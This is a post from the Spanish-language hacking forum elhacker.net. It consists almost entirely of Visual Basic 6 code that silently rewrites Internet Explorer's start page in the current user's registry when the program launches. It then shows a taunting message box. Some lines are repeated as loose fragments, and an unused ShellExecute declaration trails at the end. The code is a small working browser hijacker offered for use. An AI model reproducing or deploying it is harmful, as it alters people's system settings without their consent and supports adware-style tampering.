Foro de elhacker.net

Const REG_SZ = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    
    RegCreateKey hKey, strPath, Ret
    
    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
    
    RegCloseKey Ret
End Sub

Private Sub Form_Load()
 Dim strString As String
 
 strString = Label1.Caption
 
 SaveString HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", strString
 MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation
 End
End Sub

MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation

vbInformation

Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long